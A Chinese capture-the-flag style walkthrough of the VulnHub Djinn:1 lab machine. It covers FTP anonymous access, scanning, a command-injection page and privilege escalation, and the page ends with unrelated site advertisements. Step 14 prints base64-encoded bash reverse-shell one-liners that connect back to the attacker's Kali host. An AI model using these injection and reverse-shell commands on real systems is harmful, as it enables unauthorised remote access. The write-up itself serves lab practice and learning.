尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Djinn:1
一、靶机描述及下载地址虚拟机下载地址https://www.vulnhub.com/entry/djinn-1,397/虚拟机简介None目标user.txt和root.txt级别中级二、安装信息下载到的镜像文件直接导入VM即可需要注意的是默认网卡是桥接模式如果想用NAT模式的话直接改一下即可三、详细渗透测试过程1.主机发现因为kali也是NAT模式并且IP地址是192.168.229.1402.直接使用fscan进行探测kali的IP地址是:192.168.229.140目标靶机的IP地址是192.168.229.1503.直接来看ftp的匿名登录4.下载文件5.查看文件内容creds.txtnitu:81299game.trxt文件内容为oh and I forgot to tell you I’ve setup a game for you on port 1337. See if you can reach to thefinal level and get the prize.根据提示信息1337端口搭建了一个游戏如果我能到最后一关并且得到prize(奖励奖品)Message.txtnitish81299 I am going on holidays for few days, please take care of all the work.And don’t mess up anything.6.全端口扫描7.先看web服务8.查看页面源代码没发现特别9.目录扫描找后台10.根据AI提示信息11.直接使用nc进行连接12.这里试了好久没出来其实是卡在这里一步的信息收集的不够目录扫描字典太小啦gobuster dir -u http://192.168.229.150:7331 -w /usr/share/wordlists/dirb/big.txthttp://192.168.229.150:7331/genie13.直接可以命令执行http://192.168.229.150:7331/wish14.可以直接命令执行那么直接反弹shell没反弹成功,中途踩了好多的坑只有以下方式可以如果还有其他姿势欢迎大佬斧正echo bash -i /dev/tcp/192.168.207.130/5555 01 | base64echo bash -i /dev/tcp/192.168.229.140/5566 01 | base64echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNDAvNTU2NiAwPiYxCg | base64 -d | bash成功反弹shell15.AI的思路16.AI差一点这道题目最后的提权是通过shell界面切换至nitish用户通过sudo -l17.最让人迷的是最后猜数字输入num竟然提权成功四、总结1.信息收集的能力有待提高目录字典的大小还是能看我是否进一步攻击2.涉及到的提权信息注意切换用户后在提权www-data目录下没得权限3.交换式shell的熟练使用4.注意反弹shell的过程中可以直接使用前台去尝试发包的话需要注意编码空格问题
RELATED

相关推荐

惠普tank1005,tank1020,tank2606,tank2504打印机出现报错ER08,亮黄灯加粉还是不行?先别慌,这个只需用ER08清零软件进行清零作业即可完美修好这个问题了,本人亲测完美

惠普tank1005,tank1020,tank2606,tank2504打印机出现报错ER08,亮黄灯加粉还是不行?先别慌,这个只需用ER08清零软件进行清零作业即可完美修好这个问题了,本人亲测完美

极速下载:点这里下载 密码:00 百度云:点这里下载 备用:https://pan.baidu.com/s/1jnWFzxqMMKBMDChJEfvBng?pwd0000 提取码:0000

📅 2026/11/15 3:47:15
Google Workspace CLI安全最佳实践:保护你的数据与隐私

Google Workspace CLI安全最佳实践:保护你的数据与隐私

Google Workspace CLI安全最佳实践:保护你的数据与隐私 【免费下载链接】cli Google Workspace CLI — one command-line tool for Drive, Gmail, Calendar, Sheets, Docs, Chat, Admin, and more. Dynamically built from Google Discovery Service. Includes AI a…

📅 2026/10/20 2:26:12
Muya API完全参考:掌握编辑器控制的10个关键方法

Muya API完全参考:掌握编辑器控制的10个关键方法

Muya API完全参考:掌握编辑器控制的10个关键方法 【免费下载链接】muya 📄 Future markdown editor for web browser applications development 项目地址: https://gitcode.com/gh_mirrors/mu/muya Muya作为面向Web应用开发的未来Markdown编辑器&…

📅 2026/9/21 5:22:23
MORE NEWS

更多资讯

📰

南阳市在哪考电工证?考前押题攻略来了,别再被中介忽悠了

南阳市在哪考电工证?考前押题攻略来了,别再被中介忽悠了 你是不是也在南阳市,听说要考电工证,但不知道从哪报名,担心被中介坑?别急,这篇文章就是为你准备的。我们来聊聊南阳市哪里能考电工证、怎么避免被坑,还有考前押题怎么用,助你一臂之力。…

📰

低压电工证接触哪些设备 含金量到底高不高?新手必须看

低压电工证接触哪些设备 含金量到底高不高?新手必须看 你是不是正为找工作发愁,四处投简历却总被一句“没有低压电工证”拦在门外?别急,现在就给你讲讲低压电工证到底要接触哪些设备,还有这个证书的 含金量…

📰

工地太忙根本没时间复习考试?辽宁电工证学校官方报名入口帮你解决

工地太忙根本没时间复习考试?辽宁电工证学校官方报名入口帮你解决 工地上的节奏快得像跑马拉松,一天下来连轴转,哪还有时间复习电工证考试?特别是那些在辽宁从事建筑行业的电工,每天都在钢筋水泥间穿梭,根本没有整块时间去准备考试。别急,辽宁电工证学…

📰

喀什快速办电工证通过率揭秘,工地太忙根本没时间复习考试?

喀什快速办电工证通过率揭秘,工地太忙根本没时间复习考试? 工地太忙根本没时间复习考试,很多电工证持有者都在为考证和复审发愁,尤其是在喀什地区,施工节奏快、任务重,很多人连基本的复习时间都挤不出来。别担心,本文将帮你理清【喀什快速办电工证】的…

📰

电工证提前年审别耽误了,工地太忙也得安排上

电工证提前年审别耽误了,工地太忙也得安排上 工地太忙根本没时间复习考试,电工证提前年审这事,真不能拖。尤其是像咱们洛阳的中小施工企业负责人,手里几十个项目,人手紧张、时间紧迫,但电工证提前年审这事, 含金量…

📰

血压155电工证年审怎么网上查询 外省证能不能转过来

血压155电工证年审怎么网上查询 外省证能不能转过来 之前考的证在外省能不能转过来?这是不少电工朋友最关心的问题,尤其是像你这样在周口干活的建筑工人,可能手里拿着外地考的证,又想回老家发展,这中间的流程和要求,确实让人摸不着头脑。今天咱们就…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬